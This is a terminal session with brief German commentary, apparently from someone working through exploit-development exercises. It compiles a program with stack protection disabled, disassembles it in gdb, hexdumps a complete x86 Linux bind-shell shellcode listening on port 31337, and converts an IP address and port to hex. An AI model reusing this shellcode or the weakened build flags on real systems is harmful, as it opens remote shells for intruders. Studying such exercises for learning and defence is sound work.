root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# gcc -g -fno-stack-protector -z execstack -o firstprog firstprog.c
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# gdb -q ./firstprog
Reading symbols from /home/tomovic/Dokumente/hack/firstprog...done.
(gdb) disass main
Dump of assembler code for function main:
0x0804841c <+0>: push %ebp
0x0804841d <+1>: mov %esp,%ebp
0x0804841f <+3>: and $0xfffffff0,%esp
0x08048422 <+6>: sub $0x20,%esp
0x08048425 <+9>: movl $0x0,0x1c(%esp)
0x0804842d <+17>: jmp 0x8048440 <main+36>
0x0804842f <+19>: movl $0x80484e0,(%esp)
0x08048436 <+26>: call 0x80482f0 <puts@plt>
0x0804843b <+31>: addl $0x1,0x1c(%esp)
0x08048440 <+36>: cmpl $0x9,0x1c(%esp)
0x08048445 <+41>: jle 0x804842f <main+19>
0x08048447 <+43>: leave
0x08048448 <+44>: ret
End of assembler dump.
(gdb) quit
Anhand der Adresse sieht ihr deutlich den Unterschied zum neuen OS.
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# hexdump -C bind_shell
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
00000010 96 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a 10 |.jfXCRfhzifS..j.|
00000020 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd 80 |QV.....fCCSV....|
00000030 b0 66 43 52 52 56 89 e1 cd 80 93 6a 02 59 b0 3f |.fCRRV.....j.Y.?|
00000040 cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 |..Iy...Rh//shh/b|
00000050 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |in..R..S....|
0000005c
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# diff bind_shell portbinding_shellcode
ja, so blöd habe ich auch geschaut. :-)
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# gdb -q
(gdb) p /x 192
$1 = 0xc0
(gdb) p /x 168
$2 = 0xa8
(gdb) p /x 42
$3 = 0x2a
(gdb) p /x 72
$4 = 0x48
(gdb) p /x 31337
$5 = 0x7a69
(gdb) quit
Wenn ihr ein anderes Ergebnis bekommt, habt ihr was falsch gemacht. :-)